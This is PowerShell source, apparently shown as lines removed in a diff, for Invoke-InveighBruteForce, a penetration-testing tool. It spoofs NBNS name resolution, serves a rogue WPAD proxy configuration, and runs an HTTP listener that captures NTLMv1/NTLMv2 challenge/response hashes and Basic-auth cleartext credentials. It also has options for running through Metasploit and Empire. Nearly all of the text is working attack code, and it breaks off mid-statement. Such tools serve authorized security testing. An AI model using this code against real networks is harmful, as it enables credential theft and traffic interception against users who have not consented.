-Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. - -.DESCRIPTION -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following -features: - - Targeted IPv4 NBNS brute force spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP - Granular control of console and file output - Run time control - -This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated -administrator or SYSTEM shell. - -.PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh Brute Force host. - -.PARAMETER SpooferTarget -Specify an IP address to target for brute force NBNS spoofing. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSPause -Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after -an incoming HTTP request is received. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: Specify a TCP IP address for the HTTP listener. - -.PARAMETER HTTPPort -Default = 80: Specify a TCP port for the HTTP listener. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. Use PowerShell character escapes where necessary. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. Use PowerShell character escapes where necessary. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see -the various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER RunTime -Default = Unlimited: (Integer) Set the run time duration in minutes. - -.PARAMETER RunCount -Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 -Target 192.168.1.11 for 'server1' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 -Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferTarget="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$HTTPPort="80", - [parameter(Mandatory=$false)][Int]$NBNSPause="", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunCount="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$Hostname = "WPAD", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SpooferIP) -{ - $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if($NBNS -eq 'Y' -and !$SpooferTarget) -{ - throw "You must specify a -SpooferTarget if enabling -NBNS" -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - throw "You must specify a -WPADPort to go with -WPADIP" - } - - if(!$WPADPort) - { - throw "You must specify a -WPADIP to go with -WPADPort" - } - -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList -} - -if($inveigh.bruteforce_running) -{ - throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" -} - -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.challenge = $Challenge -$inveigh.hostname_spoof = $false -$inveigh.bruteforce_running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Brute Force started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force started")]) > $null - -if($NBNS -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $SpooferTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $Hostname") > $null - - if($NBNSPause) - { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSPause Seconds") > $null - } - - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null -} -else -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Disabled") > $null -} - -if($HTTP -eq 'Y') -{ - - if($HTTPIP) - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null - $inveigh.status_queue.Add("HTTP Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP Custom Response Enabled") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null - } - - } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) - { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null -} - -if($ConsoleOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null - } - -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($RunCount) -{ - $inveigh.status_queue.Add("Run Count = $RunCount") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop running Inveigh functions") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - - switch ($inveigh.status_queue[0]) - { - - "Run Stop-Inveigh to stop running Inveigh functions" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -# Begin ScriptBlocks - -# Shared Basic functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - function DataLength - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - - function HTTPListenerStop - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_client.Close() - start-sleep -s 1 - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - } - -} - -# HTTP Server ScriptBlock - HTTP listener -$HTTP_scriptblock = -{ - param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) - - function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($inveigh.challenge) - { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 # WWW-Authenticate - $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count - $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count - $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count - - if($WPADIP -and $WPADPort) - { - - if($WPADDirectHosts) - { - - foreach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - else - { - $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - - } - elseif($WPADResponse) - { - $HTTP_WPAD_response = $WPADResponse - } - - :HTTP_listener_loop while ($inveigh.bruteforce_running) - { - - $TCP_request = $NULL - $TCP_request_bytes = New-Object System.Byte[] 1024 - $suppress_waiting_message = $false - - while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) - { - - if(!$suppress_waiting_message) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") - $suppress_waiting_message = $true - } - - Start-Sleep -s 1 - - if(!$inveigh.bruteforce_running) - { - HTTPListenerStop - } - - } - - if(!$inveigh.HTTP_client.Connected) - { - $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection - $HTTP_stream = $inveigh.HTTP_client.GetStream() - } - - while ($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - - if($NBNSPause) - { - $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $inveigh.hostname_spoof = $true - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) - $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) - } - else - { - $authentication_header = '' - } - - if($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - } - - $HTTP_type = "HTTP" - $NTLM = 'NTLM' - $NTLM_auth = $false - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - } - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $HTTP_response_status_code = 0x34,0x30,0x31 - - if ($HTTP_request_bytes[8] -eq 1) - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $NTLM = NTLMChallengeBase64 - } - elseif ($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else # NTLMv2 - { - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $NTLM_auth = $true - $HTTP_client_close = $true - $NTLM_challenge = '' - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.startswith('Basic ')) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_message = $HTTP_WPAD_response - } - elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') - { - $HTTP_message = $HTTPResponse - } - else - { - $HTTP_message = '' - - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - - if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) - { - $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 